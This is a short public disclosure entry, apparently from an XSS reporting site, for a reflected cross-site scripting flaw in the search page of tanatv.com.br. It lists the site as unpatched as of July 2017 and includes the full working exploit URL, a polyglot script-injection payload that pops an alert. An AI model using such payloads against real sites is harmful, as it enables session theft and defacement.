tanatv.com.br XSS vulnerability

Vulnerable URL: http://tanatv.com.br/busca.php?busca=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017...